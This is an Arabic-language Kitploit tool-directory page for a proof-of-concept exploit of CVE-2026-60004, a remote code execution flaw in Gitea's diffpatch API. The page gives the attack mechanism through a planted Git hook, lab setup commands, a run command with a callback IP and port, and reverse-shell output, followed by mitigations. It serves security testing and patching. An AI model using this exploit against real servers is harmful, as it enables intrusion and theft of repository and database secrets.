Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-60004
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

عرض المستودع
16منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


نظرة عامة

CVE-2026-60004 هي ثغرة تنفيذ أوامر عن بُعد (RCE) في Gitea. تطبّق واجهة برمجة التطبيقات diffpatch تصحيحًا مُرسَلًا باستخدام git apply --cached، والذي يجب أن يلمس الفهرس فقط ولا يكتب ملفات على القرص أبدًا. من خلال إرسال نفس التصحيح مرتين، يجبر المهاجم حدوث تصادم إضافة/إضافة (add/add) يُفعّل آلية الدمج ثلاثي الاتجاهات (-3) في Git. هذا المسار يتجاهل --cached ويُخرج الملف إلى شجرة العمل. نظرًا لأن النسخة المؤقتة عارية (bare)، فإن جذر شجرة العمل فيها هو $GIT_DIR. لذلك فإن التصحيح الذي يُنشئ خطافًا تنفيذيًا باسم hooks/post-index-change يُرسي خطاف Git حيًا، والذي يشغّله Git تلقائيًا عند تحديث الفهرس التالي — لتنفيذ أوامر بحساب خدمة Gitea. تتطلب نقطة النهاية صلاحية كتابة في المستودع، لكن التسجيل مُمكَّن افتراضيًا، لذا يمكن لأي مستخدم قادر على التسجيل وإنشاء مستودع الوصول إليها.


الإصدارات المتأثرة

الفئةالإصدار
متأثرGitea 1.17 ≤ الإصدار ≤ 1.27.0
مُصحَّحGitea 1.27.1 أو أحدث

الأثر

  • تنفيذ أوامر عن بُعد بحساب خدمة Gitea (git)
  • الوصول إلى جميع المستودعات المستضافة وأسرار CI وبيانات اعتماد قاعدة البيانات

البيئة

قم ببناء وتشغيل بيئة Gitea الضعيفة. يُترك التسجيل مفتوحًا ويأتي الخادم مع Git 2.32+، وهو ما يُفعّل آلية -3 الاحتياطية التي يعتمد عليها الهجوم.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
الشرط المسبقالحالة في هذا المختبر
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ على الخادم (يُفعّل -3)2.54
تسجيل مفتوحمُمكَّن (افتراضي)
صلاحية كتابة في المستودععبر حساب مُسجَّل ذاتيًا

إثبات المفهوم (PoC)

الاستغلال مؤتمت بالكامل بواسطة gitea_exploit.py. بوجود حساب يمكنه إنشاء مستودع، يقوم بإنشاء المستودع الهدف، وإرسال نفس التصحيح مرارًا حتى تُفعَّل آلية -3 الاحتياطية في Git، ويلتقط الصدفة العكسية عبر مستمع مدمج — دون أي إعداد يدوي أو صياغة تصحيح أو حسابات تجزئة blob.

root@kitploit:~
# python3 gitea_exploit.py <ip الهدف:المنفذ> <ip الاستدعاء> [منفذ الاستدعاء]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

آلية -3 الاحتياطية لا تُفعَّل إلا في نوافذ توقيت معينة، لذا يكرر السكربت إنشاء ← إرسال ← إرسال حتى يلتقط الصدفة (25 محاولة افتراضيًا). عندما يتعطل الإرسال، يكون الخطاف قد اشتعل ويُسقطك المستمع في صدفة بحساب git:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

الخيارات:

  • --no-listen — التقط الصدفة باستخدام nc خارجي خاص بك بدلًا من المستمع المدمج
  • --user / --pw / --repo / --branch — تجاوز الحساب الافتراضي والمستودع الهدف

التخفيف

  • قم بترقية Gitea إلى 1.27.1 أو أحدث
  • عطّل التسجيل المفتوح إذا لم يكن مطلوبًا (DISABLE_REGISTRATION=true)
  • قيّد من يمكنه الوصول إلى المثيل وإنشاء المستودعات

التحليل

  • KR: قريبًا!
  • EN:
تنزيل الأداة